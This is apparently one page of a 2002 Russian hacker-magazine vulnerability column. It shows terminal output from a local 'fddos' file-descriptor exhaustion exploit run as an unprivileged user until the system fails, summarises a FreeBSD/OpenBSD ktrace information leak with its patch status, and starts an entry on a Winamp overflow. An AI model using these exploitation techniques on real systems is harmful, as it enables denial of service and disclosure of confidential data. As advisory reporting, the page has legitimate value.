BugTraq #8

Xakep, номер #044, стр. 044-008-2


sidex@xakep:~> id

uid=500 (sidex) gid=100 (users)

sidex@xakep:~> ./fddos

errno 24 pid 24087 got 1021 files

errno 24 pid 24088 got 1021 files

errno 24 pid 24089 got 1021 files

errno 24 pid 24090 got 1021 files

errno 24 pid 24091 got 1021 files

errno 24 pid 24092 got 1021 files

errno 24 pid 24093 got 1021 files

errno 23 pid 24094 got 807 files

Нехитрой операцией достигается указанный лимит, поедая некоторые файл-дескрипторы (fd) root'a. Далее начинаем освобождение отдельных fd:

pid 24094 closing 809

pid 24094 closing 808

pid 24094 closing 807

pid 24094 closing 806

pid 24094 closing 805

pid 24094 closing 804

pid 24094 closing 803

pid 24094 closing 802

Исполнение /usr/bin/passwd

Old Password:

Стартуем бинарик fddos'a (эксплойт) под обычным, неroot'овым пользователем на первом терминале:

xakep:~ #id

bash: /usr/bin/id: Too many open files in system

xakep:~ # w

bash: /usr/bin/w: Too many open files in system

Система убита!

Универсального, временного решения нет. Разве что установка глобального, для каждого юзера файлового лимита. Сие реализуется в контексте uid/euid-политики. Полный захват системы пока не был осуществлен по указанной уязвимости, но выглядит вполне возможным.

Cлежка за чужими процессами ktrace'ом в *BSD

BT id 5133

Класс - ошибка дизайна

Тип эксплойтинга - локальный

Дата - 27.06.02

Уязвимый продукт - FreeBSD (вплоть до 4.6), OpenBSD (вплоть до 3.1)

Автор - OpenBSD Security Team

Когда FreeBSD сдавала информацию по всем процессам системы, несмотря на ограничение юзера просмотром его собственных, OpenBSD держалась кремнем. Сейчас же обе системы оказались слабы перед утилитой ktrace, что занимается слежением за оригинальными и дочерними процессами системы. По задумке, по умолчанию только root может видеть все происходящее разом. В реальности же мы можем получить ряд конфиденциальных данных, вроде ссылок на файлы паролей и авторизаций, проскакивающих среди инфы о процессах в ktrace.

Патчи готовы, хотя Free/Open security-спецы видят решение и в полном отключении Ktrace (работает в обеих системах по умолчанию) с перекомпиляцией ядра. Заплаточные изменения, в случае опробованной Фрюхи, коснулись файла src/sys/kern/kern_ktrace.c. Последнее: OpenBSD SecTeam - вовсе не очередная подростковая security-шайка, над которой смеяться уже моветон. OpenBSD SecTeam - официальный орган OpenBSD.

Переполнение буфера в автоматическом обновлении Winamp

BT id 5170

Класс - ошибка пересечения смежных условий

Типа эксплойтинга - удаленный

Назад на стр. 044-008-1  Содержание  Вперед на стр. 044-008-3